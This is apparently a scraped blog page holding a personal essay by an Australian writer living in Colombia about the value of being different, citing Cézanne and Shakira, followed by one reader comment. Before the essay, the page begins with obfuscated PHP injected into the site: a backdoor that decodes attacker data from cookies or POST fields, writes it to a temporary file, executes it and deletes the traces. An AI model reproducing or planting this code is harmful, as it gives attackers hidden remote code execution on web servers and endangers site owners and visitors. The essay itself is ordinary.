$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> On being different. – www.interferencechannel.com

On being different.

.

Vive la difference.

It was at the Thyssen-Bornemisza museum in Madrid, at an exhibition tracing the evolution of Paul Cézanne’s landscape and still life paintings, that I first learnt about the sense of inadequacy that caused Cézanne such suffering throughout his life.

He had been rejected twice when he applied to attend the École des Beaux-Arts in Paris. It was claimed he had no talent, and for a short time he was so discouraged he worked in his father’s bank in Aix-en-Provence. The Paris Salon, the most important annual exhibition, also rejected his works – for 20 years. It was not until 1882 that one of his paintings was accepted by those judging themselves to be the arbiters of artistic talent.

Yet this was the same Cézanne who is credited by Pablo Picasso and Georges Braque as the creator of Cubism; who is lauded as the “Father of Modern Art”; and of whom Henri Matisse said, “Cézanne is the teacher of us all”.

The problem for Cézanne was that he was different … he broke the rules … and that never goes down too well with the Establishment

Vincent Van Gogh had the same problem, but it didn’t worry him to the same extent, although he did go mad. Cézanne didn’t go mad but he did spend an inordinate amount of time by himself, struggling with his demons as he strove to perfect his technique, his understanding of colour and composition, and his knowledge and expertise in order to achieve a level of competency that he imagined he lacked.

It’s lucky for us that he did, otherwise we might have been deprived of some of the most influential work in the development of Modern Art.

Similarly, it is just as well that Colombian superstar Shakira ignored conventional wisdom when it came to wanting to be a singer. As a young girl at school she was rejected for the school choir because her vibrato was too strong … her music teacher told her that she sounded like a goat. Some goat.

As children we are encouraged and taught to conform … there is safety in numbers. Those with obvious differences … very small, red hair, fat, spectacles, left-handed … can be the butt of ridicule or bullying as the majority confirm the superiority of their normalcy. Others have less obvious differences … sexual orientation, religious or political views or beliefs … that they may or may not expose, but which also sets them apart.

And whereas being apart denies one the reassurance of conformity, it also liberates one from the restrictions that are so much a part of being ‘normal’.

The impossible becomes possible.

When I announced that I wanted to leave Sydney and go to London to be a writer I was told it is was impossible. So few could ever succeed. And the statistics were certainly on the side of the pessimists. But because of my sexual orientation, I was already quiet happy doing something that 98% of people would not contemplate, so why not attempt something else that others thought impossible.

And I did. The history of the creative arts, and of innovation in general, is full of examples of individuals and misfits who persevered in the face of rejection, denigration and ridicule to rewrite the rulebook and inspire legions of others who then marched happily and confidently forward after those ‘weirdos’ had broken down the barricades.

And that is the key … confidence … being confident in yourself, your work, your actions.

For the majority of people that confidence comes from peer endorsement. For the individual, confidence comes from self belief, experience and honesty; believing that you know a different way, being encouraged by your experience that you are right, and being honest about who you are and not pretending something else to please others or to win their approval.

The important factor in all of this, I believe, is feeling different, not being one of the crowd.

‘So what?’ you are thinking. That is all pretty obvious … the rebellious genius overcoming rejection is a very old story. But my point, if I have one, is that the ‘difference’ that might make the difference is not always obvious. It doesn’t have to involve madness or rebellion.

In London one can be judged ‘different’ … which usually translates as inferior because ‘you are not one of us’ … on the strength of an accent, a postcode, a tie or a choice of shoes. In Bogotá it can be address, clothes, watch, car, family or any number of indicators of social class or income.

I have been lucky, as, after leaving Australia, I have always lived as a foreigner; in London, Paris and in Bogotá, thereby falling outside the local conventions.

On top of that, I am Australian, which in the UK usually equates to a clever dog; friendly and able to perform quite impressive tricks. Here I am welcomed as an extranjero who loves Colombia and Colombians. I even have a good address. However, I am also a campesino and dress like an Australian. Even so, everyone is very polite and they seem to embrace my idiosyncrasies rather than reject me because of them.

But it is not me that I am thinking about here. It is the new generation of potential artists and innovators who often feel under intense pressure to suppress their individuality and conform.

To be young, for most people, is to be insecure, and the yearning to ‘belong’ and be ‘respected’ hard to resist. This is not restricted to having to wear a jacket and tie, or having the latest Smartphone. At the Carnaval de Riosucio I saw a group of 30 or 40 hippies/punks dressed in black rags and leather, with dreadlocks, smoking dope and sneering at the tourists and festival-goers as they revelled in their defiant ‘individuality’. In their identikit costumes, uniformly unwashed, they were no more individuals than a TransMilenio full of cachacos.

Nothing original ever came out of being the same.

To quote Albert Einstein: The one who follows the crowd will usually go no further than the crowd. The one who walks alone is likely to find himself in places no one has ever been before.’

So, if you are responsible for a young person, in whatever role, I make this plea. Do not force them to conform, or deny their chance to exercise their individuality. Instead, encourage them to explore what makes them special, and support them if they suffer for expressing themselves. There is no value in suppressing creativity in order to impress the neighbours. They will not be impressed; chances are they don’t like you anyway, not matter how much they pretend, so don’t think about them, but think about your young person instead.

Help develop their talents, build their confidence, and value what makes them special. They will have a better, certainly happier life, and just might contribute to creating a healthier, more advanced, more beautiful, more thoughtful, more entertaining world.

 

Barry Max Wills is an Australian writer who, after living for 25 years in London and Paris, moved to the Eje Cafetero in Colombia where, together with his partner, he grows coffee, plays with cats, and writes about what amuses, fascinates and frustrates him about the adopted country that he loves so much.

No Responses to “On being different.

  • Pedro
    9 years ago

    Hi Baz,
    Congratulations for glorifying the different, the loner, the doer, the creator, ahead of the conformist.
    You have made Australia sound like the centre of world non-conformity, which makes me proud.